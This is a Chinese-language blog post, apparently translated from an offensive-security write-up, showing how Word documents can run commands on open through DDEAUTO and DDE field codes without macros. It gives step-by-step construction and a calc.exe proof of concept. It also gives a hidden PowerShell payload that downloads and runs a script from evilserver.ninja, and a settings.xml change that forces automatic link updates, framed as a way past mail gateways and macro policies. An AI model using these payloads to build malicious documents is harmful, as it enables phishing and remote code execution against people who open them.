MSWord 中的无宏代码执行

如果我们告诉您有一种方法可以在没有任何宏或内存损坏的情况下在 MSWord 上执行命令怎么办?!

Windows 提供了多种在应用程序之间传输数据的方法。一种方法是使用动态数据交换 (DDE) 协议。DDE 协议是一组消息和准则。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间交换数据。应用程序可以使用 DDE 协议进行一次性数据传输和持续交换,其中应用程序在新数据可用时相互发送更新。

在我们的上下文中,DDE 通过执行一个应用程序来工作,该应用程序将提供数据(数据提供程序)。在以前的帖子中1我们讨论了在 MSExcel 中使用 DDE 来执行命令,并且在使用此技术绕过宏过滤邮件网关和公司 VBA 策略方面取得了巨大成功。DDE 不仅限于 Excel,Word 一直都具有 DDE 功能。其他人已经提到了这一点2作为一种可能的途径,但据我们所知,没有人真正证明这一点是有效的。

DDE 和 Office

当 Etienne 和我自己研究一些有趣的 COM 对象时,特别是与 MS Office 相关的对象,我们注意到 MSExcel 和 MSWord 都公开了 COM 方法 DDEInitialize 和 DDEExecute。由于 DDE 在 MSExcel 上为我们提供了命令执行,因此我们决定踏上探索如何在 MSWord 中使用 DDE 的旅程,并查看是否也可以从中实现命令执行。

经过不懈的研究,我们发现 MSWord 中的 DDE 用于字段,要向 MSWord 添加字段,您需要执行以下操作:

插入选项卡->字段

图片

选择 = (公式),然后单击确定。

图片

之后,您应该会看到文档中插入了一个字段,并显示错误“!公式意外结束“,右键单击”字段“,然后选择”切换字段代码“

图片

现在应显示字段代码,将其更改为包含以下内容:

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"  }

DDEAUTO 关键字是通知 MSWord 这是一个 DDE 字段,并且会在文档打开时自动执行,第二部分是要执行的可执行文件的完整路径,引号之间的最后一部分是要传递给此可执行文件的参数(执行calc.exe)。

图片

另一种方法是使用

CTRL+F9

创建一个空的字段标识符,并直接插入 DDE 公式。

现在将文档保存为普通的word文档“.docx”,并在任何计算机上打开它。

图片

第一个警告是更新文档链接。

图片

第二个提示询问用户是否要执行指定的应用程序,现在这可以被视为安全警告,因为它要求用户执行“cmd.exe”,但是通过适当的语法修改,它可以被隐藏。

图片

当受害者点击“是”时......

图片

最好的事情是,没有宏,没有安全警告,而且......

图片

作为 PoC,我们使用以下有效载荷:D

{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "}

最后一点;

使用“DDE”字段标识符也可以实现相同的效果:

{DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" }

但是,您将需要修改.docx以启用自动链接更新。为此,请在存档管理器中打开.docx,然后打开 word/settings.xml。现在将以下 XML 标记插入到 docPr 元素中:

<w:updateFields w:val="true"/>

保存设置文件,更新存档。Word 现在将提示自动更新链接,提示与之前略有不同,但结果与 DDEAUTO 完全相同。

图片

  • 25
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值